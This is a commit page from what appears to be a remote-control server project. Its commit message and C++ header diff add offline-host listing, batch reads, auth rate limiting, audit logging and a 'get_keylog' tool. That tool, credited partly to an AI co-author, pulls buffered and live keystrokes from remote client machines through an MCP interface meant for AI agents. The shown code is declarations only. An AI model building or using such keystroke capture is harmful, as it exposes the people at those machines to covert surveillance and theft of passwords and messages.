Feature: Add offline hosts, batch reads and MCP hardening
Expose hosts the server already knows about. list_all_hosts enumerates both live contexts and the historical records in the client list, with authStatus as a three-state string instead of a boolean. search_hosts now honours online=false instead of returning an empty list, while the default stays online-only so existing callers see the same results. get_host_detail falls back to the last known record for an offline host rather than failing with -32002. Let read-only tools take an ids array of up to 50 hosts in one call. The batch path reuses the single-host dispatcher and pages per host, so behaviour cannot drift; write tools reject ids with -32602 so a mistake cannot fan out across machines. Add get_keylog behind its own McpKeylog switch. It drives the client's existing keylogger sub-connection, accumulates the streamed text for a bounded window and byte cap, then closes the sub-connection and returns UTF-8 lines. The client pushes its buffered history first, so a result contains both history and fresh keystrokes; the tool description says so. Harden the endpoint. Failed bearer checks are counted per source IP and ten failures within a minute block the IP for fifteen minutes. Auth failures and tool calls append to logs\mcp_audit.log with metadata only: no token, no arguments, no response bodies, and rotation at 5 MB. Loopback sources are audited but never blocked, because the built-in frp tunnel makes every remote request arrive from 127.0.0.1 and banning that address would lock out legitimate clients along with the attacker. Give list-style tools one pagination contract (limit/offset plus total/totalAll/hasMore) and fix the generated schemas so id and ids are genuine alternatives: the stale required:[id] left over from the single-host schema would otherwise reject ids-only calls. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
cc0e4bbd7a
commit
ac5b174b5f
12 files changed
+1191
-86
No files matched your search
@@ -9,6 +9,7 @@
|
||||
#include <condition_variable>
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
#include <deque>
|
||||
#include <memory>
|
||||
@@ -302,6 +303,22 @@ public:
|
||||
bool BeginMachineSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
bool BeginConnMgrSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
|
||||
// ===== N3:键盘记录(get_keylog)=====
|
||||
// 复用 P8 的会话表(PendingKind::Keylog,单设备单飞行),但不走「请求-响应」:
|
||||
// 主连接下发 COMMAND_KEYBOARD(169) → 客户端新建子连接 → TOKEN_KEYBOARD_START(293)
|
||||
// 作为就绪包绑定 → 之后客户端每约 1s 推一包 TOKEN_KEYBOARD_DATA(294) 击键文本,
|
||||
// 服务端累积到 keylogBuf 由 WaitKeylogData 取走。独立开关 McpKeylog(默认关)。
|
||||
// 见 docs/Mcp_Design.md。
|
||||
void SetKeylogEnabled(bool enabled) { m_keylogEnabled = enabled; }
|
||||
bool IsKeylogEnabled() const { return m_keylogEnabled; }
|
||||
|
||||
bool BeginKeylogSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
|
||||
enum class KeylogWaitResult { Ok, Timeout, Closed };
|
||||
// 取走累积字节并清零;timeoutMs 内无数据则 Timeout。truncated 回传是否已到上限。
|
||||
KeylogWaitResult WaitKeylogData(uint64_t device_id, std::string& out,
|
||||
int timeoutMs, bool& truncated);
|
||||
|
||||
// 工具线程:发命令前清空上一次响应并登记期望 token。
|
||||
void ArmManagedResponse(uint64_t device_id, BYTE expectedToken);
|
||||
|
||||
@@ -381,10 +398,29 @@ private:
|
||||
// POST /mcp 处理器:token 校验 + JSON-RPC 分发。
|
||||
void HandleMcp(const httplib::Request& req, httplib::Response& res);
|
||||
|
||||
// ===== 鉴权加固 =====
|
||||
// 同一 IP 在窗口期内连续鉴权失败达到阈值即封禁一段时间;封禁期内直接 429,不再比对 token。
|
||||
bool IsAuthBlocked(const std::string& ip);
|
||||
bool RecordAuthFailure(const std::string& ip); // 返回 true 表示本次失败触发了封禁
|
||||
void ClearAuthFailures(const std::string& ip);
|
||||
|
||||
// 审计日志(<exe>\logs\mcp_audit.log):只写时间/IP/工具名/结果等元数据,
|
||||
// 绝不写 token、Authorization 头、请求参数或返回内容。
|
||||
void AuditMcpEvent(const char* event, const std::string& ip, const std::string& detail);
|
||||
static void AppendAuditFile(const std::string& line);
|
||||
|
||||
struct AuthFailRecord {
|
||||
int count = 0;
|
||||
std::chrono::steady_clock::time_point windowStart;
|
||||
std::chrono::steady_clock::time_point blockedUntil;
|
||||
};
|
||||
std::mutex m_AuthMutex;
|
||||
std::unordered_map<std::string, AuthFailRecord> m_AuthFails;
|
||||
|
||||
// 挂起请求类型:主机管理/连接管理会话与既有一次性请求共用 m_Pending 保证单设备单飞行,
|
||||
// 但 MessageHandle 的 P2b/P3/P7 拦截分支(IsPending/TakeMainResponse)必须把这两类排除,
|
||||
// 否则用户手动打开对话框时 UI 包会被 MCP 抢走。
|
||||
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr };
|
||||
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr, Keylog };
|
||||
static bool KindAcceptsToken(PendingKind kind, BYTE token);
|
||||
|
||||
bool BeginManagedSession(uint64_t device_id, const std::string& tool,
|
||||
@@ -421,6 +457,9 @@ private:
|
||||
std::string clientError; // TOKEN_MACHINE_MSG(42) 文本(已转 UTF-8)
|
||||
bool closed = false; // 子连接在等待期间断开
|
||||
std::chrono::steady_clock::time_point deadline; // 整个会话的截止时间
|
||||
// ===== N3:键盘记录(kind = Keylog 时有效)=====
|
||||
std::string keylogBuf; // 累积的原始击键字节(客户端编码,未含 token)
|
||||
bool keylogTruncated = false; // 已到字节上限,后续数据被丢弃
|
||||
};
|
||||
std::mutex m_PendingMutex;
|
||||
std::condition_variable m_PendingCv;
|
||||
@@ -558,6 +597,7 @@ private:
|
||||
bool m_manageEnabled = false; // P7 管理控制开关(默认关;要求 m_readonly=false)
|
||||
bool m_machineEnabled = false; // P8 主机管理族总开关(默认关;16 个 host_* 工具)
|
||||
bool m_machineDangerousEnabled = false; // P8 高风险子集(冻结/解冻进程、停止/重启服务)
|
||||
bool m_keylogEnabled = false; // N3 键盘记录开关(默认关;get_keylog)
|
||||
};
|
||||
|
||||
// 全局访问器(仿 WebService(),见 WebService.h 末尾)
|
||||
|
||||
Reference in new issue
Block a user